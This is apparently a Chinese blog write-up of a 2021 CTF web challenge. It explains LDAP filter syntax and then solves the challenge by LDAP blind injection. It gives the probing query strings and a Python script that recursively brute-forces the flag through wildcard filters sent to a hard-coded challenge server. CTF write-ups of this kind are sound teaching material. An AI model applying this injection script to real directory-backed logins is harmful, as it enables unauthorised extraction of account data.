[2021东软杯_WEB]easyinject (LDAP盲注爆破)

发布于 2022-03-16  26 次阅读


关于ldap详细原理可以参考这两位大佬的博客:

https://blog.csdn.net/quiet_girl/article/details/50716312

https://www.cnblogs.com/endust/p/11811477.html

一、什么是LDAP?

这一部分摘自这个大佬的博客:https://www.cnblogs.com/wilburxu/p/9174353.html

(一)在介绍什么是LDAP之前,我们先来复习一个东西:“什么是目录服务?

    1. 目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。

    2. 是动态的,灵活的,易扩展的。

    如:人员组织管理,电话簿,地址簿。

(二)了解完目录服务后,我们再来看看LDAP的介绍:

LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。

目录是一个为查询浏览搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。

目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。

LDAP目录服务是由目录数据库和一套访问协议组成的系统。

(三)为什么要使用

LDAP是开放的Internet标准,支持跨平台的Internet协议,在业界中得到广泛认可的,并且市场上或者开源社区上的大多产品都加入了对LDAP的支持,因此对于这类系统,不需单独定制,只需要通过LDAP做简单的配置就可以与服务器做认证交互。“简单粗暴”,可以大大降低重复开发和对接的成本。

二、LDAP关于查询的基本语法

    1、基本语法规则

        LDAP语句是以' ( '和' ) '来作为一个单元,然后通过一些逻辑符号进行拼接形成一个语句(这一点有点类似于数理逻辑里面的那些式子的拼接方式);

    2、四种常见的逻辑表达式来表示查询操作

简单来说一下这4种操作:

① =(等于) 判断属性和值是否相等,例如:(givenName=John)

&(逻辑与) 表示‘且’,两者同时为真才是真,例如:(&(givenName=John)(l=Dallas))

      ③!(逻辑非) 表示‘非’,对返回值取反,例如:(!givenName=John)

      ④*(通配符) 用于模糊查询,可使用通配符表示值可以等于任何值,例如:(title=*)或者(givenName=Jo*)

        摘自:https://download.csdn.net/download/www476907899/5161498

=(等于)
LDAP 参数表明某个属性等于某个值的条件得到满足。例如,如果希望查找属性为“John”的所有对象,可以使用:
(givenName=John)
这会返回属性为“John”的所有对象。圆括号是必需的,以便强调 LDAP 语句的开始和结束。
&(逻辑与)
如果具有多个条件并且希望全部条件都得到满足,则可使用此语法。例如,如果希望查找居住在 Dallas 并且“John”的所有人员,可以使用:
(&(givenName=John)(l=Dallas))
请注意,每个参数都被属于其自己的圆括号括起来。整个 LDAP 语句必须包括在一对主圆括号中。操作符 & 表明,只有每个参数都为真,才会将此筛选条件应用到要查询的对象。
!(逻辑非)
此操作符用来排除具有特定属性的对象。假定您需要查找“John”的对象以外的所有对象。则应使用如下语句:
(!givenName=John)
此语句将查找不为“John”的所有对象。请注意:! 操作符紧邻参数的前面,并且位于参数的圆括号内。由于本语句只有一个参数,因此使用圆括号将其括起以示说明。
*(通配符)
可使用通配符表示值可以等于任何值。使用它的情况可能是:您希望查找具有职务头衔的所有对象。为此,可以使用:
(title=*)
这会返回“title”属性包含内容的所有对象。另一个例子是:您知道某个对象的属性的开头两个字母是“Jo”。那么,可以使用如下语法进行查找:
(givenName=Jo*)
这会返回“Jo”开头的所有对象。
以下是 LDAP 语法的高级使用示例:
您需要一个筛选条件,用来查找居住在 Dallas Austin,并且名为“John”的所有对象。使用的语法应当是:
(&(givenName=John)(|(l=Dallas)(l=Austin)))
您发现应用程序日志中有 9,548 个事件,因此需要查找导致这些日志事件的所有对象。在此情况下,您需要查找所有被禁用的用户 (msExchUserAccountControl=2),这些用户的 msExchMasterAccountSID 没有值。使用的语法应当是:
(&(msExchUserAccountControl=2)(!msExchMasterAccountSID=*))

  注意:

! 操作符与通配符的结合使用可查找属性未设置为任何值的对象。

三、LDAP注入

LDAP注入类似于SQL注入,

详细的注入讲解可以参考https://blog.csdn.net/quiet_girl/article/details/50716312

四、[2021东软杯_WEB]easyinject题解

首先拿到题目,先查看源码可以发现:

然后输入访问

?user=guest&pass=EC77k8RHquAMLKAX

提示说flag是由a-z0-9_组成;

然后呢,我就想到了会不会是SQL盲注,于是尝试:

?user=0'+and+length()&pass=EC77k8RHquAMLKAX

结果居然报错了!

观察可以发现这是个LDAP数据库;

然后就试一下*会怎么样

?user=*&pass=EC77k8RHquAMLKAX

果然,不出所料,有返回了!

然后经过多次尝试,可以知道一共有三种回显:密码错误,查询用户不唯一,一大串英文

然后,结合flag的特点!!具有下划线' _  '

于是可以有了一个小小的思路,可以模糊测试盲注出:下划线左边的所有的值和下划线右边所有的值。

这就有了python脚本

import requests
lis='1234567890qwertyuiopasdfghjklzxcvbnm_'
def dfs2(p):
    biaoji=0
    for i in lis:       
        
        url='http://47.106.172.144:2333/?user=*'+str(i)+p+'*&pass=EC77k8RHquAMLKAX'
        re=requests.get(url)
        if '密码错误' in re.text:           
            p=i+p
            print(p)
            dfs2(p)          
            p=p[1:]


  


def dfs1(p):


    for i in lis:       
        
        url='http://47.106.172.144:2333/?user=*'+p+i+'*&pass=EC77k8RHquAMLKAX'
        re=requests.get(url)
        if '密码错误' in re.text:           
            p=p+i
            print(p)
            dfs1(p)
            dfs2(p)
            p=p[0:-1]


          
dfs1('_')


运行结果:

最后我们加上flag的衣服得到

flag{ldapli_1s_v3ry_ez}

   

            

            

            

            

            

            

            

            

            


“缘分让我们相遇乱世以外,命运却让我们危难中相爱”